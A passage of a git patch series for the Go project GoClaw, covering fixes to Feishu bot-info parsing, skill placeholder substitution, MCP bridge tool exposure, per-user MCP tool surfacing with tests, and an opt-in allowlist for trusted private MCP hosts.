.../feishu/larkclient_messaging_extra_test.go | 28 +++++++++++++++- 4 files changed, 79 insertions(+), 10 deletions(-) diff --git a/internal/channels/feishu/feishu.go b/internal/channels/feishu/feishu.go index 9c7d7072..78289d1b 100644 --- a/internal/channels/feishu/feishu.go +++ b/internal/channels/feishu/feishu.go @@ -135,8 +135,10 @@ func (c *Channel) Start(ctx context.Context) error { c.GroupHistory().StartFlusher() slog.Info("starting feishu/lark bot") - // Probe bot identity - if err := c.probeBotInfo(ctx); err != nil { + // Probe bot identity. Without botOpenID, mention detection degrades to + // "any mention counts as bot mention" (see parseMessageEvent), so retry + // transient failures before giving up. + if err := c.probeBotInfoWithRetry(ctx, 3); err != nil { slog.Warn("feishu bot probe failed (will continue)", "error", err) } else { slog.Info("feishu bot connected", "bot_open_id", c.botOpenID) @@ -370,6 +372,25 @@ func (c *Channel) probeBotInfo(ctx context.Context) error { return nil } +// probeBotInfoWithRetry retries probeBotInfo with linear backoff to survive +// transient startup failures (network blips, token service warm-up). +func (c *Channel) probeBotInfoWithRetry(ctx context.Context, attempts int) error { + var err error + for i := 0; i < attempts; i++ { + if err = c.probeBotInfo(ctx); err == nil { + return nil + } + if i < attempts-1 { + select { + case <-ctx.Done(): + return ctx.Err() + case <-time.After(time.Duration(i+1) * 2 * time.Second): + } + } + } + return err +} + // --- Send helpers --- func (c *Channel) sendChunkedText(ctx context.Context, chatID, receiveIDType, text string, chunkLimit int, replyTargetID string) error { diff --git a/internal/channels/feishu/larkclient.go b/internal/channels/feishu/larkclient.go index 0e58bfb3..e256c9e2 100644 --- a/internal/channels/feishu/larkclient.go +++ b/internal/channels/feishu/larkclient.go @@ -104,6 +104,9 @@ type apiResponse struct { Code int `json:"code"` Msg string `json:"msg"` Data json.RawMessage `json:"data"` + // Bot is only present on the legacy /open-apis/bot/v3/info endpoint, + // which returns the bot object at the top level instead of inside "data". + Bot json.RawMessage `json:"bot"` } // doJSON performs an authenticated JSON API call with auto token refresh. diff --git a/internal/channels/feishu/larkclient_messaging.go b/internal/channels/feishu/larkclient_messaging.go index 06da51c0..773d6412 100644 --- a/internal/channels/feishu/larkclient_messaging.go +++ b/internal/channels/feishu/larkclient_messaging.go @@ -270,6 +270,9 @@ func (c *LarkClient) DeleteMessageReaction(ctx context.Context, messageID, react // GetBotInfo fetches the bot's identity from /open-apis/bot/v3/info. // Returns the bot's open_id which is needed for mention detection in groups. +// This legacy endpoint returns the bot object at the TOP level of the +// response ({"code":0,"msg":"ok","bot":{...}}), not inside "data" like +// newer Lark APIs — read resp.Bot first, with a data.bot fallback. func (c *LarkClient) GetBotInfo(ctx context.Context) (string, error) { resp, err := c.doJSON(ctx, "GET", "/open-apis/bot/v3/info", nil) if err != nil { @@ -278,15 +281,31 @@ func (c *LarkClient) GetBotInfo(ctx context.Context) (string, error) { if resp.Code != 0 { return "", fmt.Errorf("get bot info: code=%d msg=%s", resp.Code, resp.Msg) } - var result struct { - Bot struct { - OpenID string `json:"open_id"` - } `json:"bot"` + + var botInfo struct { + OpenID string `json:"open_id"` } - if err := json.Unmarshal(resp.Data, &result); err != nil { - return "", fmt.Errorf("unmarshal response: %w", err) + if len(resp.Bot) > 0 { + if err := json.Unmarshal(resp.Bot, &botInfo); err != nil { + return "", fmt.Errorf("unmarshal bot info: %w", err) + } + return botInfo.OpenID, nil } - return result.Bot.OpenID, nil + + // Fallback: some deployments may wrap the bot object inside "data". + if len(resp.Data) > 0 { + var wrapped struct { + Bot struct { + OpenID string `json:"open_id"` + } `json:"bot"` + } + if err := json.Unmarshal(resp.Data, &wrapped); err != nil { + return "", fmt.Errorf("unmarshal bot info data: %w", err) + } + return wrapped.Bot.OpenID, nil + } + + return "", fmt.Errorf("get bot info: response missing bot object") } // --- IM API: Chat Members --- diff --git a/internal/channels/feishu/larkclient_messaging_extra_test.go b/internal/channels/feishu/larkclient_messaging_extra_test.go index 2e2771a6..fa03187b 100644 --- a/internal/channels/feishu/larkclient_messaging_extra_test.go +++ b/internal/channels/feishu/larkclient_messaging_extra_test.go @@ -273,7 +273,9 @@ func TestDeleteMessageReaction_APIError(t *testing.T) { // --- GetBotInfo (returns open_id string) --- func TestGetBotInfo_Success(t *testing.T) { - srv := newSimpleMockServer(t, `{"code":0,"msg":"ok","data":{"bot":{"open_id":"ou_bot_123","app_name":"TestBot"}}}`) + // Real /open-apis/bot/v3/info responses put "bot" at the TOP level, + // not inside "data" (legacy API shape). + srv := newSimpleMockServer(t, `{"code":0,"msg":"ok","bot":{"open_id":"ou_bot_123","app_name":"TestBot"}}`) c := NewLarkClient("app", "secret", srv.URL) openID, err := c.GetBotInfo(context.Background()) @@ -285,6 +287,30 @@ func TestGetBotInfo_Success(t *testing.T) { } } +func TestGetBotInfo_DataWrappedFallback(t *testing.T) { + // Defensive fallback for deployments that wrap the bot object in "data". + srv := newSimpleMockServer(t, `{"code":0,"msg":"ok","data":{"bot":{"open_id":"ou_bot_456","app_name":"TestBot"}}}`) + + c := NewLarkClient("app", "secret", srv.URL) + openID, err := c.GetBotInfo(context.Background()) + if err != nil { + t.Fatalf("GetBotInfo error: %v", err) + } + if openID != "ou_bot_456" { + t.Errorf("open_id: got %q, want ou_bot_456", openID) + } +} + +func TestGetBotInfo_MissingBotObject(t *testing.T) { + srv := newSimpleMockServer(t, `{"code":0,"msg":"ok"}`) + + c := NewLarkClient("app", "secret", srv.URL) + _, err := c.GetBotInfo(context.Background()) + if err == nil { + t.Fatal("expected error when response has no bot object") + } +} + func TestGetBotInfo_APIError(t *testing.T) { srv := newSimpleMockServer(t, `{"code":10001,"msg":"forbidden","data":{}}`) From e154c4f54d511eed3d46324ee4ff29a7b2974ae7 Mon Sep 17 00:00:00 2001 From: codebit0 <34156842+codebit0@users.noreply.github.com> Date: Sun, 21 Jun 2026 06:02:43 +0900 Subject: [PATCH 009/252] fix(skills): resolve {baseDir} placeholder in DB-backed skill content (#1145) Both PG and SQLite skill stores returned SKILL.md content without the {baseDir} substitution that skills.Loader.LoadSkill performs for file-based access. Agents reading SKILL.md via this RPC saw the literal placeholder, breaking script-invocation lines that expect absolute paths. Mirror the loader's substitution in both store implementations so behavior is consistent regardless of access path. Co-authored-by: Claude Opus 4.7 (1M context) --- internal/store/pg/skills_content.go | 5 +++++ internal/store/sqlitestore/skills_content.go | 5 +++++ 2 files changed, 10 insertions(+) diff --git a/internal/store/pg/skills_content.go b/internal/store/pg/skills_content.go index eac99043..df3aca0c 100644 --- a/internal/store/pg/skills_content.go +++ b/internal/store/pg/skills_content.go @@ -40,6 +40,11 @@ func (s *PGSkillStore) LoadSkill(ctx context.Context, name string) (string, bool if err != nil { return "", false } + // Resolve {baseDir} placeholder so SKILL.md script-invocation lines hold + // absolute paths regardless of agent CWD. Mirrors skills.Loader.LoadSkill + // substitution; without it, agents reading SKILL.md via this RPC see the + // literal placeholder. + content = strings.ReplaceAll(content, "{baseDir}", info.BaseDir) return content, true } diff --git a/internal/store/sqlitestore/skills_content.go b/internal/store/sqlitestore/skills_content.go index e47c06a4..1c497660 100644 --- a/internal/store/sqlitestore/skills_content.go +++ b/internal/store/sqlitestore/skills_content.go @@ -35,6 +35,11 @@ func (s *SQLiteSkillStore) LoadSkill(ctx context.Context, name string) (string, if err != nil { return "", false } + // Resolve {baseDir} placeholder so SKILL.md script-invocation lines hold + // absolute paths regardless of agent CWD. Mirrors skills.Loader.LoadSkill + // substitution; without it, agents reading SKILL.md via this RPC see the + // literal placeholder. + content = strings.ReplaceAll(content, "{baseDir}", info.BaseDir) return content, true } From 719d5934bbe0301a7fbf085f1b70fb1c0edd756d Mon Sep 17 00:00:00 2001 From: Zezae Oh Date: Sun, 21 Jun 2026 09:53:07 +0900 Subject: [PATCH 010/252] fix(mcp): expose delegate tool via MCP bridge (#1247) The BridgeToolNames allowlist omitted "delegate", so claude-cli / Claude-Code-backed agents never received the tool even when their orchestration mode resolved to "delegate" with active agent_links. The native agent loop injects delegate per orchestration mode, but bridge sessions only see this curated allowlist, making inter-agent delegation impossible from bridge-backed agents. delegate is safe to expose unconditionally: it self-gates via CanDelegate/agent_links and resolves its source agent from the X-Agent-ID header context, exactly like team_tasks (already bridged). --- internal/mcp/bridge_server.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/internal/mcp/bridge_server.go b/internal/mcp/bridge_server.go index bb3646c4..9d45d538 100644 --- a/internal/mcp/bridge_server.go +++ b/internal/mcp/bridge_server.go @@ -17,6 +17,8 @@ import ( // BridgeToolNames is the subset of GoClaw tools exposed via the MCP bridge. // Excluded: spawn (agent loop), create_forum_topic (channels). +// delegate is included: it self-gates via CanDelegate/agent_links and resolves +// its source agent from the X-Agent-ID header context, same as team_tasks. var BridgeToolNames = map[string]bool{ // Filesystem "read_file": true, @@ -48,6 +50,8 @@ var BridgeToolNames = map[string]bool{ "sessions_send": true, // Team tools (context from X-Agent-ID/X-Channel/X-Chat-ID headers) "team_tasks": true, + // Inter-agent delegation (self-gates via CanDelegate / agent_links) + "delegate": true, } // NewBridgeServer creates a StreamableHTTPServer that exposes GoClaw tools as MCP tools. From 8eef0509ce072ab68762aa208a24058206bcd45a Mon Sep 17 00:00:00 2001 From: SYNITY Date: Sun, 21 Jun 2026 08:06:07 +0700 Subject: [PATCH 011/252] fix(agent): surface per-user MCP tools to the LLM tool list [B24:2794] (#1235) require_user_credentials MCP servers loaded and connected, but their tool defs were never sent to the model, so the agent could never call the per-user mcp___* tools (it only ever saw the shared MCP server). The per-user tool objects are intentionally kept out of the shared registry to prevent cross-user credential leaks, so FilterTools could not emit them. Surface them through a request-scoped overlay registry passed to the policy engine: per-user tools are now evaluated AND emitted under the same allow/deny rules as registry tools, then resolved per-actor at execution time via executeToolForActor. The overlay is discarded after filtering, so the shared registry and other users stay unaffected. - add tools.NewUserToolOverlay (request-scoped, discarded post-filter) - buildFilteredTools: wrap registry in overlay when per-user tools present; no-policy path appends their defs directly - fix stale getUserMCPTools docstring (claimed shared-registry registration) - tests: overlay policy allow/deny + per-user surfacing / strip / dedup Co-authored-by: DangTinh311 --- internal/agent/image_gen_gate_test.go | 10 +- internal/agent/loop_mcp_user.go | 9 +- internal/agent/loop_pipeline_callbacks.go | 2 +- internal/agent/loop_tool_filter.go | 37 +++++- .../agent/loop_user_mcp_tools_surface_test.go | 88 ++++++++++++++ internal/tools/user_tool_overlay.go | 75 ++++++++++++ internal/tools/user_tool_overlay_test.go | 115 ++++++++++++++++++ 7 files changed, 323 insertions(+), 13 deletions(-) create mode 100644 internal/agent/loop_user_mcp_tools_surface_test.go create mode 100644 internal/tools/user_tool_overlay.go create mode 100644 internal/tools/user_tool_overlay_test.go diff --git a/internal/agent/image_gen_gate_test.go b/internal/agent/image_gen_gate_test.go index ac4daeed..de0c0938 100644 --- a/internal/agent/image_gen_gate_test.go +++ b/internal/agent/image_gen_gate_test.go @@ -55,7 +55,7 @@ func TestImageGenGate_AllTrue_ToolPresent(t *testing.T) { prov := &imageCapableProvider{imageGen: true} l := buildImageGenLoop(true, prov) - defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 1, 10, nil) + defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 1, 10, nil, nil) if !hasImageGenTool(defs) { t.Error("expected image_generation tool when all gate conditions are true") @@ -68,7 +68,7 @@ func TestImageGenGate_ProviderNoCapability_ToolAbsent(t *testing.T) { prov := &imageCapableProvider{imageGen: false} l := buildImageGenLoop(true, prov) - defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 1, 10, nil) + defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 1, 10, nil, nil) if hasImageGenTool(defs) { t.Error("image_generation must NOT be in tools when provider does not advertise ImageGeneration") @@ -82,7 +82,7 @@ func TestImageGenGate_ProviderNotCapabilitiesAware_ToolAbsent(t *testing.T) { prov := &stubProvider{} l := buildImageGenLoop(true, prov) - defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 1, 10, nil) + defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 1, 10, nil, nil) if hasImageGenTool(defs) { t.Error("image_generation must NOT be in tools when provider is not CapabilitiesAware") @@ -95,7 +95,7 @@ func TestImageGenGate_AgentConfigDisabled_ToolAbsent(t *testing.T) { prov := &imageCapableProvider{imageGen: true} l := buildImageGenLoop(false, prov) // allowImageGeneration = false - defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 1, 10, nil) + defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 1, 10, nil, nil) if hasImageGenTool(defs) { t.Error("image_generation must NOT be in tools when agent config disables it") @@ -109,7 +109,7 @@ func TestImageGenGate_FinalIteration_AllToolsStripped(t *testing.T) { l := buildImageGenLoop(true, prov) // iteration == maxIter → final stripping path; gate never reached - defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 5, 5, nil) + defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 5, 5, nil, nil) if len(defs) != 0 { t.Errorf("final iteration must strip all tools; got %d: %v", len(defs), defs) diff --git a/internal/agent/loop_mcp_user.go b/internal/agent/loop_mcp_user.go index 13399b3f..f2c83d50 100644 --- a/internal/agent/loop_mcp_user.go +++ b/internal/agent/loop_mcp_user.go @@ -85,9 +85,12 @@ func resolveActorUserID(userID, senderID, peerKind, channelType string) string { } // getUserMCPTools returns per-user MCP tools for servers requiring user credentials. -// Tools are cached per-user in mcpUserTools sync.Map and registered in the shared -// tool registry so ExecuteWithContext can resolve them. On first call for a user, -// connections are established via pool.AcquireUser() and BridgeTools created. +// Tools are cached per-user in mcpUserTools sync.Map and their NAMES added to the "mcp" +// tool group; the tool objects are deliberately NOT registered in the shared registry +// (cross-user identity leak — see inline note below). The returned slice is passed to +// buildFilteredTools so the defs surface to the LLM; execution resolves per-actor via +// executeToolForActor → mcpUserTools. On first call for a user, connections are +// established via pool.AcquireUser() and BridgeTools created. func (l *Loop) getUserMCPTools(ctx context.Context, userID string) []tools.Tool { if len(l.mcpUserCredSrvs) == 0 || l.mcpPool == nil || l.mcpStore == nil || userID == "" { if userID == "" && len(l.mcpUserCredSrvs) > 0 { diff --git a/internal/agent/loop_pipeline_callbacks.go b/internal/agent/loop_pipeline_callbacks.go index 1a0c991e..c331d1ce 100644 --- a/internal/agent/loop_pipeline_callbacks.go +++ b/internal/agent/loop_pipeline_callbacks.go @@ -228,7 +228,7 @@ func (l *Loop) makeBuildFilteredTools(req *RunRequest) func(state *pipeline.RunS } allMsgs := state.Messages.All() toolDefs, _, returnedMsgs := l.buildFilteredTools(req, state.Context.HadBootstrap, - state.Iteration, maxIter, allMsgs) + state.Iteration, maxIter, allMsgs, userTools) // buildFilteredTools returns the full messages slice; only messages appended // beyond the original length are injections (e.g. final-iteration hint). // Appending the entire slice would duplicate system+history into pending. diff --git a/internal/agent/loop_tool_filter.go b/internal/agent/loop_tool_filter.go index f633a90b..58d1b666 100644 --- a/internal/agent/loop_tool_filter.go +++ b/internal/agent/loop_tool_filter.go @@ -15,22 +15,51 @@ var imageGenToolDef = providers.ToolDefinition{Type: "image_generation"} // buildFilteredTools resolves the per-iteration tool definitions based on policy, // disabled tools, bootstrap mode, skill visibility, channel type, and iteration budget. -// Per-user MCP tools must be registered in the Registry before calling this function -// (via getUserMCPTools) so they are included in policy filtering and execution. +// Per-user MCP tools (require_user_credentials servers) are passed in via userTools — +// their objects deliberately live ONLY in l.mcpUserTools (cross-user isolation), NOT +// in the shared registry. They are surfaced via a request-scoped overlay registry so +// the PolicyEngine evaluates AND emits them under the SAME allow/deny rules as +// registry tools; execution routes per-actor via executeToolForActor. // Returns tool definitions for the provider, an allowed-tools map for execution validation, // and the (potentially modified) messages slice when final-iteration stripping appends a hint. -func (l *Loop) buildFilteredTools(req *RunRequest, hadBootstrap bool, iteration, maxIter int, messages []providers.Message) ([]providers.ToolDefinition, map[string]bool, []providers.Message) { +func (l *Loop) buildFilteredTools(req *RunRequest, hadBootstrap bool, iteration, maxIter int, messages []providers.Message, userTools []tools.Tool) ([]providers.ToolDefinition, map[string]bool, []providers.Message) { // Build provider request with policy-filtered tools. var toolDefs []providers.ToolDefinition var allowedTools map[string]bool if l.toolPolicy != nil { - toolDefs = l.toolPolicy.FilterTools(l.tools, l.id, l.provider.Name(), l.agentToolPolicy, req.ToolAllow, false, false) + // Per-user MCP tool objects are NOT in the shared registry (cross-user + // isolation — see getUserMCPTools), so FilterTools alone cannot emit them. + // Wrap the registry in a request-scoped overlay that adds the calling actor's + // per-user tools: FilterTools then evaluates them through the same policy + // pipeline (profile/allow/deny, incl. an explicit deny on a per-user tool name) + // and emits them via overlay.Get. The overlay is local and discarded after this + // call, so the shared registry — and thus other users — stay unaffected. + // NewUserToolOverlay returns l.tools unchanged when userTools is empty. + registry := tools.NewUserToolOverlay(l.tools, userTools) + toolDefs = l.toolPolicy.FilterTools(registry, l.id, l.provider.Name(), l.agentToolPolicy, req.ToolAllow, false, false) allowedTools = make(map[string]bool, len(toolDefs)) for _, td := range toolDefs { allowedTools[td.Function.Name] = true } } else { + // No policy → all tools allowed. ProviderDefs() omits per-user MCP tools (not in + // the shared registry), so append their defs directly (dedup by name). toolDefs = l.tools.ProviderDefs() + if len(userTools) > 0 { + seen := make(map[string]bool, len(toolDefs)) + for _, td := range toolDefs { + if td.Function != nil { + seen[td.Function.Name] = true + } + } + for _, t := range userTools { + if t == nil || seen[t.Name()] { + continue + } + seen[t.Name()] = true + toolDefs = append(toolDefs, tools.ToProviderDef(t)) + } + } } // V3 orchestration mode filtering: hide tools the agent shouldn't see. diff --git a/internal/agent/loop_user_mcp_tools_surface_test.go b/internal/agent/loop_user_mcp_tools_surface_test.go new file mode 100644 index 00000000..3c011000 --- /dev/null +++ b/internal/agent/loop_user_mcp_tools_surface_test.go @@ -0,0 +1,88 @@ +package agent + +// Regression tests: per-user MCP tools (require_user_credentials servers) must be +// surfaced to the LLM tool list. Their objects live ONLY in l.mcpUserTools (cross-user +// isolation) and are NEVER in the shared registry, so the ONLY path that exposes their +// defs to the model is the userTools argument of buildFilteredTools. A prior regression +// (anti-leak hardening) dropped that merge → the model could never call mcp___*. +// See plans/reports/bugreport-260617-1708-per-user-mcp-tools-not-surfaced-to-llm.md. + +import ( + "context" + "testing" + + "github.com/nextlevelbuilder/goclaw/internal/providers" + "github.com/nextlevelbuilder/goclaw/internal/tools" +) + +// fakeUserMCPTool is a minimal tools.Tool standing in for a per-user MCP BridgeTool. +type fakeUserMCPTool struct{ name string } + +func (f *fakeUserMCPTool) Name() string { return f.name } +func (f *fakeUserMCPTool) Description() string { return "per-user mcp tool stub" } +func (f *fakeUserMCPTool) Parameters() map[string]any { return map[string]any{"type": "object"} } +func (f *fakeUserMCPTool) Execute(context.Context, map[string]any) *tools.Result { + return &tools.Result{ForLLM: "ok"} +} + +// hasToolNamed reports whether defs contains a function tool with the given name. +func hasToolNamed(defs []providers.ToolDefinition, name string) bool { + for _, d := range defs { + if d.Function != nil && d.Function.Name == name { + return true + } + } + return false +} + +// ─── Per-user MCP tools appear in the LLM tool list ─────────────────────── + +func TestUserMCPTools_SurfacedToLLM(t *testing.T) { + l := buildImageGenLoop(false, &stubProvider{}) // toolPolicy nil → defs come only from userTools + userTools := []tools.Tool{ + &fakeUserMCPTool{name: "mcp_bx24__search"}, + &fakeUserMCPTool{name: "mcp_bx24__execute"}, + } + + defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 1, 10, nil, userTools) + + if !hasToolNamed(defs, "mcp_bx24__search") || !hasToolNamed(defs, "mcp_bx24__execute") { + t.Errorf("per-user MCP tools must surface to the LLM tool list; got %d defs: %v", len(defs), defs) + } +} + +// ─── Final iteration strips per-user MCP tools too (force text response) ─── + +func TestUserMCPTools_FinalIterationStripped(t *testing.T) { + l := buildImageGenLoop(false, &stubProvider{}) + userTools := []tools.Tool{&fakeUserMCPTool{name: "mcp_bx24__execute"}} + + // iteration == maxIter → final stripping path: all tools removed, including per-user. + defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 5, 5, nil, userTools) + + if len(defs) != 0 { + t.Errorf("final iteration must strip per-user MCP tools; got %d: %v", len(defs), defs) + } +} + +// ─── Duplicate per-user tool names emit only one def ────────────────────── + +func TestUserMCPTools_DedupByName(t *testing.T) { + l := buildImageGenLoop(false, &stubProvider{}) + userTools := []tools.Tool{ + &fakeUserMCPTool{name: "mcp_bx24__execute"}, + &fakeUserMCPTool{name: "mcp_bx24__execute"}, // duplicate + } + + defs, _, _ := l.buildFilteredTools(&RunRequest{}, false, 1, 10, nil, userTools) + + count := 0 + for _, d := range defs { + if d.Function != nil && d.Function.Name == "mcp_bx24__execute" { + count++ + } + } + if count != 1 { + t.Errorf("duplicate per-user tool name must emit exactly one def; got %d", count) + } +} diff --git a/internal/tools/user_tool_overlay.go b/internal/tools/user_tool_overlay.go new file mode 100644 index 00000000..8a5cec29 --- /dev/null +++ b/internal/tools/user_tool_overlay.go @@ -0,0 +1,75 @@ +package tools + +// userToolOverlay is a request-scoped ToolExecutor that overlays a set of per-user +// tools on top of a base executor (the shared registry). It lets the PolicyEngine +// evaluate AND emit per-user MCP tools (require_user_credentials servers) under the +// SAME allow/deny rules as registry tools, WITHOUT registering the per-user tool +// objects into the shared registry — doing so would leak one user's credentialed +// BridgeTool to every other user (see agent.getUserMCPTools). +// +// Construct one per request from the calling actor's tools (see +// agent.buildFilteredTools) and discard it after the tool-filtering pass. The base +// executor is embedded, so every ToolExecutor method except List/Get delegates to +// it unchanged. +type userToolOverlay struct { + ToolExecutor // embedded base (shared registry) + extra map[string]Tool // per-user tools by name; take precedence in Get + names []string // per-user names, insertion order, appended by List +} + +// NewUserToolOverlay returns a ToolExecutor exposing base's tools plus userTools. +// Duplicate names within userTools collapse (first wins); nil entries are skipped. +// For List(), per-user names already present in base are not duplicated. For Get(), +// a per-user tool shadows a same-named base tool — per-user objects carry the +// actor's credentials. Returns base unchanged when userTools is empty, so callers +// pay nothing on the common no-per-user path. +func NewUserToolOverlay(base ToolExecutor, userTools []Tool) ToolExecutor { + if len(userTools) == 0 { + return base + } + extra := make(map[string]Tool, len(userTools)) + names := make([]string, 0, len(userTools)) + for _, t := range userTools { + if t == nil { + continue + } + name := t.Name() + if _, dup := extra[name]; dup { + continue + } + extra[name] = t + names = append(names, name) + } + if len(extra) == 0 { + return base + } + return &userToolOverlay{ToolExecutor: base, extra: extra, names: names} +} + +// Get resolves per-user tools first, then falls back to the base executor. +func (o *userToolOverlay) Get(name string) (Tool, bool) { + if t, ok := o.extra[name]; ok { + return t, true + } + return o.ToolExecutor.Get(name) +} + +// List returns base tool names plus any per-user names not already present in base. +func (o *userToolOverlay) List() []string { + base := o.ToolExecutor.List() + seen := make(map[string]bool, len(base)) + out := make([]string, 0, len(base)+len(o.names)) + for _, n := range base { + seen[n] = true + out = append(out, n) + } + for _, n := range o.names { + if !seen[n] { + out = append(out, n) + } + } + return out +} + +// Compile-time check: the overlay satisfies ToolExecutor. +var _ ToolExecutor = (*userToolOverlay)(nil) diff --git a/internal/tools/user_tool_overlay_test.go b/internal/tools/user_tool_overlay_test.go new file mode 100644 index 00000000..5f46bb43 --- /dev/null +++ b/internal/tools/user_tool_overlay_test.go @@ -0,0 +1,115 @@ +package tools + +// Tests for userToolOverlay — the request-scoped registry overlay that surfaces +// per-user MCP tools through the PolicyEngine without registering them in the shared +// registry. The decisive case is TestUserToolOverlay_PolicyDenyByNameSuppresses: +// it proves per-user MCP tools now honor an agent/global deny (Finding 1 fix), which +// the previous "append after FilterTools" approach bypassed. + +import ( + "context" + "testing" + + "github.com/nextlevelbuilder/goclaw/internal/config" + "github.com/nextlevelbuilder/goclaw/internal/providers" +) + +// overlayFakeTool is a minimal Tool standing in for a per-user MCP BridgeTool. +type overlayFakeTool struct{ name string } + +func (f *overlayFakeTool) Name() string { return f.name } +func (f *overlayFakeTool) Description() string { return "fake " + f.name } +func (f *overlayFakeTool) Parameters() map[string]any { return map[string]any{"type": "object"} } +func (f *overlayFakeTool) Execute(context.Context, map[string]any) *Result { + return &Result{ForLLM: "ok"} +} + +// emptyBaseExecutor is a ToolExecutor with no tools — stands in for a shared registry +// that does NOT contain the per-user MCP tools (the real-world condition). +type emptyBaseExecutor struct{} + +func (emptyBaseExecutor) ExecuteWithContext(context.Context, string, map[string]any, string, string, string, string, AsyncCallback) *Result { + return &Result{} +} +func (emptyBaseExecutor) TryActivateDeferred(string) bool { return false } +func (emptyBaseExecutor) ProviderDefs() []providers.ToolDefinition { return nil } +func (emptyBaseExecutor) Get(string) (Tool, bool) { return nil, false } +func (emptyBaseExecutor) List() []string { return nil } +func (emptyBaseExecutor) Aliases() map[string]string { return nil } + +func defNameSet(defs []providers.ToolDefinition) map[string]bool { + m := make(map[string]bool, len(defs)) + for _, d := range defs { + if d.Function != nil { + m[d.Function.Name] = true + } + } + return m +} + +// ─── Overlay exposes per-user tools via List/Get ────────────────────────── + +func TestUserToolOverlay_AddsPerUserTools(t *testing.T) { + ov := NewUserToolOverlay(emptyBaseExecutor{}, []Tool{ + &overlayFakeTool{name: "mcp_bx24__execute"}, + &overlayFakeTool{name: "mcp_bx24__search"}, + }) + + list := ov.List() + if len(list) != 2 { + t.Fatalf("expected 2 names in overlay List, got %d: %v", len(list), list) + } + if _, ok := ov.Get("mcp_bx24__execute"); !ok { + t.Error("overlay must resolve per-user tool via Get") + } + if _, ok := ov.Get("does_not_exist"); ok { + t.Error("overlay must not resolve unknown tools") + } +} + +// ─── Empty / all-nil userTools returns base unchanged ───────────────────── + +func TestUserToolOverlay_EmptyReturnsBase(t *testing.T) { + base := emptyBaseExecutor{} + if ov := NewUserToolOverlay(base, nil); ov.List() != nil { + t.Error("nil userTools should return base unchanged (nil List)") + } + if ov := NewUserToolOverlay(base, []Tool{nil, nil}); ov.List() != nil { + t.Error("all-nil userTools should return base unchanged (nil List)") + } +} + +// ─── Policy with default (full) profile emits per-user tools ────────────── + +func TestUserToolOverlay_PolicyEmitsByDefault(t *testing.T) { + pe := NewPolicyEngine(&config.ToolsConfig{}) // empty profile = full = all allowed + ov := NewUserToolOverlay(emptyBaseExecutor{}, []Tool{ + &overlayFakeTool{name: "mcp_bx24__execute"}, + &overlayFakeTool{name: "mcp_bx24__search"}, + }) + + defs := pe.FilterTools(ov, "agent", "openai", nil, nil, false, false) + names := defNameSet(defs) + if !names["mcp_bx24__execute"] || !names["mcp_bx24__search"] { + t.Errorf("full profile must emit per-user tools through the overlay; got %v", names) + } +} + +// ─── Finding 1 fix: an explicit deny on a per-user tool name suppresses it ─ + +func TestUserToolOverlay_PolicyDenyByNameSuppresses(t *testing.T) { + pe := NewPolicyEngine(&config.ToolsConfig{Deny: []string{"mcp_bx24__execute"}}) + ov := NewUserToolOverlay(emptyBaseExecutor{}, []Tool{ + &overlayFakeTool{name: "mcp_bx24__execute"}, + &overlayFakeTool{name: "mcp_bx24__search"}, + }) + + defs := pe.FilterTools(ov, "agent", "openai", nil, nil, false, false) + names := defNameSet(defs) + if names["mcp_bx24__execute"] { + t.Error("denied per-user tool must NOT be emitted (Finding 1: policy must apply)") + } + if !names["mcp_bx24__search"] { + t.Error("non-denied per-user tool must still be emitted") + } +} From c31dd219348bac5be398a324c4d716e0f46f080a Mon Sep 17 00:00:00 2001 From: Zezae Oh Date: Sun, 21 Jun 2026 11:37:05 +0900 Subject: [PATCH 012/252] feat(mcp): opt-in allowlist for trusted private MCP hosts (#1248) Registering a remote MCP server (sse/streamable-http) whose hostname resolves to a private IP is rejected at config-validation time by the SSRF guard, with no production escape hatch -- the only bypass is a test-only loopback flag. Self-hosted MCP servers on a private network are therefore unregisterable, even though the runtime MCP client connects to them fine (Test Connection succeeds and lists tools; only create/update input validation blocks). Add an opt-in, operator-configured allowlist (GOCLAW_MCP_ALLOWED_HOSTS, empty by default) of trusted hostnames exempt from the private/loopback IP block during MCP server URL validation only: - security.ValidateAllowingHosts(url, allowedHosts): like Validate but skips the private/loopback block for allowlisted hostnames. The cloud-metadata/link-local (169.254/fe80), multicast and unspecified ranges are never exempted, even for allowlisted hosts. - mcp.SetAllowedHosts wires the operator allowlist into ValidateURL / ValidateServerConfig; default empty => no behavior change. - web_fetch / webhook / redirect SSRF paths are unchanged (those stay agent-influenced and fully guarded). Matching is case-insensitive on the pre-resolution hostname. --- cmd/gateway.go | 1 + internal/config/config_channels.go | 1 + internal/config/config_load.go | 13 ++++++ internal/mcp/validation.go | 34 +++++++++++++- internal/mcp/validation_allowlist_test.go | 57 +++++++++++++++++++++++ internal/security/ssrf.go | 56 ++++++++++++++++++++-- internal/security/ssrf_allowlist_test.go | 47 +++++++++++++++++++ internal/security/ssrf_test.go | 2 +- 8 files changed, 203 insertions(+), 8 deletions(-) create mode 100644 internal/mcp/validation_allowlist_test.go create mode 100644 internal/security/ssrf_allowlist_test.go diff --git a/cmd/gateway.go b/cmd/gateway.go index f932f8a1..988beef5 100644 --- a/cmd/gateway.go +++ b/cmd/gateway.go @@ -387,6 +387,7 @@ func runGateway() { mcpToolLister = mcpMgr } httpapi.InitGatewayToken(cfg.Gateway.Token) + mcpbridge.SetAllowedHosts(cfg.Gateway.MCPAllowedHosts) // operator allowlist: trusted MCP hosts exempt from private-IP SSRF block httpapi.InitGatewayNoAuthFallbackAllowed(config.GatewayNoAuthFallbackAllowed(cfg.Gateway)) exportTokenStore := httpapi.InitExportTokenStore() defer exportTokenStore.Stop() diff --git a/internal/config/config_channels.go b/internal/config/config_channels.go index 52585c63..51cf2b62 100644 --- a/internal/config/config_channels.go +++ b/internal/config/config_channels.go @@ -416,6 +416,7 @@ type GatewayConfig struct { Token string `json:"token,omitempty"` // bearer token for WS/HTTP auth OwnerIDs []string `json:"owner_ids,omitempty"` // sender IDs considered "owner" AllowedOrigins []string 